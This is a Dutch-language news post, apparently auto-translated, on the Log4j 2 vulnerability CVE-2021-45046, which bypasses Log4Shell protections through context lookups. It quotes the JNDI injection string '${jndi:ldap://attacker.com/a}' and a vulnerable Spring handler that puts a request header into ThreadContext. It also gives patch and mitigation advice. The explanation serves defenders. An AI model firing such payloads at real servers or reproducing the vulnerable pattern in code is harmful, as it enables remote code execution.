{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nieuwe aanvalsmethode op Log4j 2, waarmee de toegevoegde beveiliging kan worden omzeild","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
In de implementatie van JNDI-substituten in de Log4j 2-bibliotheek is een andere kwetsbaarheid ontdekt (CVE-2021-45046), die zich manifesteert ondanks de correcties die in release 2.15 zijn toegevoegd en ongeacht het gebruik van de instelling «log4j2.noFormatMsgLookup» ter bescherming. Het probleem vormt vooral een gevaar voor oudere versies van Log4j 2, die zijn beschermd met de vlag «noFormatMsgLookup», omdat het mogelijk maakt om de bescherming van de eerdere kwetsbaarheid (Log4Shell, CVE-2021-44228) te omzeilen, die in staat is eigen code op de server uit te voeren. Voor gebruikers van versie 2.15 beperkt de exploitatie zich tot het cre\u00ebren van omstandigheden voor een noodstop van de applicatie door het uitputten van beschikbare middelen. <\/p>\n
De kwetsbaarheid doet zich alleen voor op systemen waarbij contextuele zoekopdrachten (Context Lookup) worden gebruikt bij het loggen, zoals ${ctx:loginId}, of MDC-sjablonen (Thread Context Map), bijvoorbeeld %X, %mdc en %MDC. De exploitatie is gericht op het cre\u00ebren van voorwaarden voor het loggen van gegevens die JNDI-substituten bevatten, bij gebruik van contextuele zoekopdrachten of MDC-sjablonen die de regels voor de loguitvoerformattering bepalen. <\/p>\n
Onderzoekers van LunaSec hebben opgemerkt dat voor versies van Log4j lager dan 2.15 deze kwetsbaarheid kan worden gebruikt als een nieuwe aanvalsvector voor Log4Shell, die leidt tot code-uitvoering, als bij het loggen expressies van ThreadContext worden gebruikt die externe gegevens bevatten, ongeacht of de vlag «noMsgFormatLookups» voor bescherming is ingeschakeld of het patroon «%m{nolookups}» wordt gebruikt.
<\/center> <\/p>\n
De omzeiling van de beveiliging komt erop neer dat in plaats van directe substitutie «${jndi:ldap:\/\/attacker.com\/a}», deze expressie wordt ingevoerd via de waarde van een tussenvariabele die wordt gebruikt in de formatregels voor het loggen. Bijvoorbeeld, als bij het loggen de contextuele query ${ctx:apiversion} wordt gebruikt, kan de aanval worden uitgevoerd door de gegevens «${jndi:ldap:\/\/attacker.com\/a}» in te voegen in de waarde die aan de variabele apiversion wordt toegewezen. Voorbeeld van kwetsbare code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ De waarde van de HTTP-header «X-Api-Version» wordt doorgegeven aan ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Bij het loggen zal de externe waarde apiversion worden verwerkt via de substitutie ${ctx:apiversion} logger.info(«Ontvangen een verzoek voor API-versie»); return «Hallo, wereld!»; } <\/p>\n
In versie Log4j 2.15 kan de kwetsbaarheid worden gebruikt voor DoS-aanvallen door waarden die leiden tot een eindeloze lus in de ThreadContext door te geven tijdens de opmaak van de output.
<\/center> <\/p>\n
Om de kwetsbaarheid te blokkeren, zijn updates 2.16 en 2.12.2 uitgebracht. In de Log4j-tak 2.16 zijn, naast de correcties in versie 2.15 en de binding van JNDI LDAP-verzoeken aan «localhost», standaard alle functionaliteiten van JNDI volledig uitgeschakeld en is de ondersteuning voor placeholder-templates verwijderd. Als tijdelijke oplossing wordt voorgesteld om de klasse JndiLookup uit het classpath te verwijderen (bijvoorbeeld «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n
![\"Nieuwe](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Nieuwe](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n